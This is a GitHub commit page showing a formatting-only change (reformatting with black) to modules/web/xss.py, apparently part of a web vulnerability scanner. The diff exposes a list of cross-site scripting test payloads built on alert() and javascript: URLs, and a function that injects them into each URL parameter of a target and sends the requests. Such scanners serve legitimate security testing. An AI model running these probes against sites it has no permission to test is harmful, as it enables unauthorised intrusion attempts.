Skip to content

Commit

Permalink
Reformated with black
Browse files Browse the repository at this point in the history
  • Loading branch information
GamehunterKaan committed Jul 20, 2022
1 parent 827f95d commit 95620be
Showing 1 changed file with 4 additions and 5 deletions.
9 changes: 4 additions & 5 deletions modules/web/xss.py
Original file line number Diff line number Diff line change
Expand Up @@ -34,15 +34,15 @@ def __init__(self, log, console) -> None:
r"¼script¾alert(¢PAYLOAD¢)¼/script¾",
r"d=\\\"alert('PAYLOAD');\\\\\")\\\";",
r"<DIV STYLE=\\\"background-image: url(javascript:"
+ r"alert('PAYLOAD'))\\\">"
+ r"alert('PAYLOAD'))\\\">",
]

def exploit_xss(self, base_url, url_params) -> None:
for param in url_params:
for test in self.xss_test:
param_no_value = param.split("=")[0]
payload_length = randint(5, 15)
payload_text = ''.join(choices(ascii_letters, k = payload_length))
payload_text = "".join(choices(ascii_letters, k=payload_length))
payload = test.replace("PAYLOAD", payload_text)
main_url = f"{base_url}?{param_no_value}"

Expand All @@ -56,8 +56,7 @@ def exploit_xss(self, base_url, url_params) -> None:
response = get(test_url)
except ConnectionError:
self.log.logger(
"error",
f"Connection error raised on: {test_url}, skipping"
"error", f"Connection error raised on: {test_url}, skipping"
)
continue
else:
Expand All @@ -74,4 +73,4 @@ def test_xss(self, url) -> None:
"""
base_url, params = url.split("?")[0], url.split("?")[1]
params_dict = params.split("&")
self.exploit_xss(base_url, params_dict)
self.exploit_xss(base_url, params_dict)

0 comments on commit 95620be

Please sign in to comment.